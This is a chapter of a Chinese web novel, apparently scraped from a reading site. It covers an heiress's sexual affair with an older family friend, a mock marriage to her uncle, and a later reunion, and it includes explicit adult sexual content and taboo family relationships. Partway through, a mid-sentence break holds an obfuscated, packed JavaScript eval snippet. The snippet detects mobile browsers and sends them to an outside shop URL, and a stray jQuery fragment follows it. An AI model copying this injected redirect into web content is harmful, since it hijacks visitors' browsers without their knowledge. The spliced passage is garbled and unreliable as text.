“抒情呢。”台静怡嗤笑,“耿阿姨果然是个变态。把人家新郎挤到外面听墙角,自己跟新娘躺在婚床上滚来滚去,现在已经舒服到忆往昔的地步了么。” 耿娴下意识皱起眉头,巴掌都快拍到对方脸上时,忽然想起对方是台静怡。 她收回胳膊,不搭理台静怡的顽劣劲,自顾自继续说道。 “后来她把玉镯戴到我的手腕上,也把她的孩子推到我怀里。恍惚间,我错以为我拥有了她。” “我嫉妒她的伴侣。夜里做梦,总是梦到我像她的伴侣一样,将她占有,贯穿。梦里我抱着她,用我新长出来的器官逗她:‘你看,我终于是个男人了。现在我们可不可以在一起呢。’” “我总以为,她不愿意跟我在一起,是因为我是个女人。她无法接受同性恋,也无法接受身为同性恋的我。” “过去我那么恨她,恨她有眼无珠,恨她封建愚昧。后来,你出生了……” 台静怡从小就坏得格外有脾气。然而每当耿娴凑近,台静怡就捏着她的手指说“喜欢”。小孩子说喜欢,也许只是一个胡诌的玩笑,但耿娴却当了真。一直都是她在喜欢别人,又被别人拒绝。台静怡说喜欢她时,她第一次感受到被爱的滋味。天长日久的,就动了些真心。 于是就把对台君丽的那份爱而不得,慢慢转移到台静怡身上。 她先为台君丽“守贞”二十来年,又为台静怡“守贞”十八年。她自己也不能相信,在跟台静怡做这种事前,自己竟然黯然度过了四十多年的无性生活。 年轻时,她放着花里胡哨的光碟,用手指和玩具纾解欲望,体会过各种各样的痛快。 现在处在对那种痛快的倦怠期,她不追求多么新奇的痛快,反而要拥抱,要耳鬓厮磨,要对方能抚着她干燥温暖的身体,夸赞她这些年积攒下来的阅历。 然而她清晰知道,台静怡愿意给她的,只有她不再追求的痛快。甚至大多时候,要追求痛快还得提前排很长的队。 耿娴擎起胳膊,抱住台静怡的肩膀,把俩人的姿势对调。 “我给你舔。” 耿娴摘掉台静怡中指和食指上的指套。 台静怡似笑非笑地盯着耿娴,完全不在乎耿娴人到中年的心酸。 她只把耿娴当成妈妈的替代品,因为耿娴跟妈妈很亲近。 事实上即便是替代品,她也有很多更好的选择。更年轻的、样貌更像妈妈的、跟妈妈更密不可分的…… 耿娴只占一个“有趣”。 台静怡把骨灰盒放到床头柜上,又摁住耿娴的后脑勺,切断她的退路。 妈妈注视时,耿阿姨果然更卖力。 ** 后半夜。 台静怡把车钥匙装进包包,推门出屋。 正好与站在走廊的秦述打了个照面。 按照他们过家家般的婚姻规则,她的舅舅秦述,这时已经成为她的老公,无证也可驾驶那种。 所以像电视剧里演的那样,台静怡扑到秦述怀里,宽慰似的揪了揪他的大胸。 “老公,今晚我出去玩,不回来了。” 秦述明显一愣,就是这一愣神的功夫,那头台静怡已经利索走远。 秦述倚着窗,拿出望远镜窥视。 视线里,台静怡进了车库,开出一辆阿斯顿马丁Valiant。开的是黑色那辆,低调又高级,俨然大富婆做派。同系列其他颜色的超跑还都静静躺在偌大的车库里,等待她时不时的临幸。 邢铎从走廊那头绕来,夺走秦述手里的望远镜,自己尽情看去。 “全球限量38台之一,到手3千多万。”邢铎打趣道,“大小姐这是要开着豪车去接哪个小情人。” “开这辆车出去,看样子副驾驶不会坐有多么稀贵的情人。”秦述冷哼,“什么时候能把车库里那辆柯尼塞格One:1都开出去,那才算情人有手段。” 那辆柯尼塞格One:1,全球限量7台,是目前车库里最贵的车,也是车库里唯一一辆二手车,去年从国外某大佬手里收的,到手1亿多人民币。14年新出的车型,放在当时是时尚新潮,现在不免有些过时。 当时台静怡大手一挥买下,图的就是个收藏价值。以及,在顶级豪车里XXOO,是一种奢靡的享受。 俩人对话间,耿娴从婚房里走出。 秦述和邢铎颇有礼貌地喊了声“耿姐”。 耿娴不自在地清了清嗓子,“床上四件套我都换过了,地也扫过了。屋里随时可以进去。” 邢铎问:“‘囍’字样式的红床单被罩,家里就准备了一套。换过了……换成了什么样式?” 耿娴面上不动声色,“棠棠喜欢的粉色hello kitty样式。”心里却很得意,一生仅此一次的“囍”式陈设,是被她体验到的,而不是臭男人。她仅代表女人队,在本次竞争局里加大分。 耿娴很实在地把用过的指套和皱巴巴的卫生纸团装进手提袋里,从秦述、邢铎身旁经过时,很经意地摇了摇手提袋。 “垃圾留下就行,有专门的阿姨去倒。”邢铎伸手拦截。 耿娴把胳膊折到背后,“我就是那个专门倒垃圾的阿姨。”旋即又补充道:“棠棠亲口说的,不信的话去问她。” 她心知其实俩男人不会自找没趣去问,因为她跟台静怡在屋里抠抠舔舔时,俩男人就站在门外偷听。 话音落下,果然没再遭到阻拦。 耿娴美滋滋地下楼。 邢铎与秦述对视一眼。 邢铎:“看来我们还得扩大阵营。” 秦述:“深有同感。” 于是给台静怡物色起新的情人人选。 ** 台静怡在陆家嘴的国金中心度过了新婚夜。 这里其实没什么有趣的餐饮娱乐,里头全是各种高档品牌。商场像一个恒温的香炉,来往全是高跟鞋和西装人群,听到的全是轻声细语。没多久,台静怡就犯起困。 身旁的姚师姚仍旧在试各种香水,兴致盎然。 今晚其实没有小情人的事,纯属是闺蜜出去疯玩。 仍是单身的姚师姚,显然很好奇成为已婚女士是一种怎样的感受。 姚师姚把台静怡的眼皮扒开,“结婚爽不?” 台静怡顺势把脑袋架在姚师姚香喷喷的肩膀上,“还行,随便做点什么事,都自带‘背德感’。老公就像醉酒后的一滩呕吐物,趁人晕乎时就来到了世上。好突然的老公。” 挑完香水,姚师姚把台静怡拉去LV店里,“再帮我选几款包。” 台静怡已经困得直翻白眼,大致扫了扫店里老花款式的LV包包。 “款式好老,没适合你的。” 柜姐一听,随即露出经典八颗牙微笑,挑了几款简洁大方的包包,“您看这几款怎么样。” 姚师姚把台静怡搂在怀里,对柜姐“嘘”了声,小声道:“她睡着啦,小声点。” “我看那些老花款式就行,毕竟是来给我妈挑的,我妈喜欢那种。”姚师姚笑道。 姚师姚拍了张台静怡的睡颜,把照片发给自家妈咪,发消息道:“谁说好闺闺不是我的小孩。” 对面几乎秒回,虽然聊的内容完全不同。 【这个人就是俺娘】:“这是我的新小孩。”配图是一个被自家妈咪踩着鸡和蛋的青春男大。 柜姐无意瞥了眼姚师姚的手机屏幕,内心不禁感叹:有钱人玩的真花。 ** 晚秋,台静怡终于从外面浪回家。过去那些天,她跟姚师姚待在一块,过得可谓是荒.淫无度。不过“淫”这事,玩来玩去都是那些手段。一旦玩得长久,人就会进入不应期。 现在两个玩累的女人各回各家,各自投奔暖和的被窝,为接下来的过冬做准备。 天冷了,台静怡不舍得把手从大衣口袋里伸出,于是就用唱歌代替敲门和按门铃。 她猜着别墅里会有谁在。 如果邢铎会在,那就唱起天津版《猫和老鼠》的主题曲,“来到了天津卫~嘛也没学会。”如果秦述会在,那就唱起《他大舅他二舅都是他舅》,“他大舅他二舅都是他舅~高桌子低板凳都是木头。” 谁在,她就轻声唱出谁的应援曲,这是她格外调皮可爱的地方。 不过等走到别墅前,还不等唱歌,门就朝里打开。 年轻的女佣解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345502|151525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 释道:“大小姐,秦总和邢总在楼上跟客人谈生意。” “他们谈他们的。”台静怡从口袋里掏出一块糖,扔给女佣,“喏!我们弹我们的。” 女佣接下糖,颧骨烧得通红,眼神四处乱瞟。 “谈……”大小姐终于愿意和她谈恋爱了?! 台静怡把大衣解下,扔给女佣。接着径直走到钢琴前,翻出琴谱,准备弹琴。 女佣才刚扬起的嘴角又耷拉下来。 原来是弹琴的“弹”啊。 台静怡叼着一根棒棒糖,腰杆稍稍躬着,姿势并不是那种一本正经、古板拿乔的姿势,反而很随性,像一位艺术家进入心流状态,因为平时懒散惯了,就连此刻的认真,都带有一种不经意的松弛感。 发尾时不时从琴键上划过,很快又被弹出的旋律掸走。擦得锃亮的钢琴盖上,偶尔有脸庞侧影飞快闪过。极少数时候,钢琴盖会把身后女佣近乎狂热的眼神笼罩进来,不过弹钢琴的人从不在意。 阳光从楼梯拐角处的蓝玻璃窗处照进,斜着打在钢琴盖上,盖面上曼陀罗风铃和蝴蝶吊灯的倒影被风吹得摇摇晃晃,看久了不免感到一种轻微的晕眩。 等再从晕眩感里走出来,只见曼陀罗风铃换成了成堆的庆生气球,蝴蝶吊灯上挂了很多五颜六色的祝福卡片。而那位弹钢琴的艺术家,慢悠悠地迎来她的二十五岁生日。 中间这五年,台静怡过得顺遂畅快。 但对李欣来说,上次和台静怡见面聊天,已经是六年前的往事了,像前世那样遥远不可追。 现在的李欣是一位海外读博归来的高知女,头发优雅地盘起,做过医美的小方圆脸上架着一副无框眼镜,搭配几乎是一身白,却并不单调——长衬衫配醋酸裙,鱼骨收腰式的黑腰带勾勒出瘦而挺的腰身。 名牌衣服的版型剪裁将她的高智感尽数烘托而出,走起路来,迈下的每一步都在宣告:权力是女人最好的保养品。 过去六年,李欣还领养了一个女孩,选择成为一位母亲。她给女孩起名为“简嘉”,是“简爱”和“郝思嘉”两个名字的组合。 此时此刻,李欣牵着她的女儿,从台家集团底下的某家公司楼前经过。 小简嘉能感受到她妈妈今天格外紧张,尽管妈妈面无表情。 李欣正全神贯注地盯着前头那几个打卡下班的公司职员。 职员A:“大小姐去你们那层发钱了吗?我们那层刚好有个职员是大小姐的小情人,加上今天大小姐过生日,大小姐一高兴,直接给一层的职员都发了大红包!人均六位数呢!” 职员B:“她好像只去了你们那一层,但大红包是每层都发了!” 职员C:“大小姐现在还待在公司里,真够勤奋的!我要是大小姐,生日这天直接出去浪,只要肾不死,就往死里搞肾!” 职员D:“谁说在公司里就不能浪了……欸,你们听说没,据说几个月前,那个把某顶流玩进医院的富婆,其实就是大小姐……” …… 如果只是这些闲言碎语也就算了,李欣想。 可偏偏,在久别重逢的街头,加速的心跳比她的主观意识抢先一步认出了那个人。 那个人从公司里走出。 她精心营造的氛围感,被那个人不费吹灰之力地秒杀掉。 李欣仿佛又回到六年前那个贫穷的夏天。身上的衬衫又成了那件打骨折价买下的地摊货,给人看的永远是自己汗湿的腋下和后背。 她被钉住一般,眼睁睁看着那个人走近,然后与她擦肩而过。 “姐姐。”小简嘉叫住那个人,“祝你生日快乐。” 上海的夏天总是那样黏稠,像一张汗津津的蜘蛛网,不由分说地将人笼住。在这样毒辣的天气里,台静怡其实已经没了继续社交的兴致。偏偏她站住脚的地方是一片树荫地,并不算热得难以忍受。 于是她转过身,敷衍地回了句:“谢谢。” 说完,继续走自己的路。 小简嘉不知哪来的力气,扯着李欣朝台静怡所在的方向大步跨去。 “姐姐!我妈妈有话对你说!” 台静怡顿住脚,“我又不认识你妈妈。” 她盯着被小简嘉扯来的那个女人反复细看,“我应该认识你?” 李欣张起嘴唇,其实有好多话想说。 但支支吾吾,最终只说了句:“你的夏天还好吗?” 台静怡,你的夏天还好吗? 角落墙根永远有东西在腐烂变质,暴雨去后永远是蚯蚓和蜗牛在收拾残场,身体流汗的秩序被无规则地改变,脏器被丢尽不停转的焚烧炉,在闷热潮湿的夏天里; 你还好吗?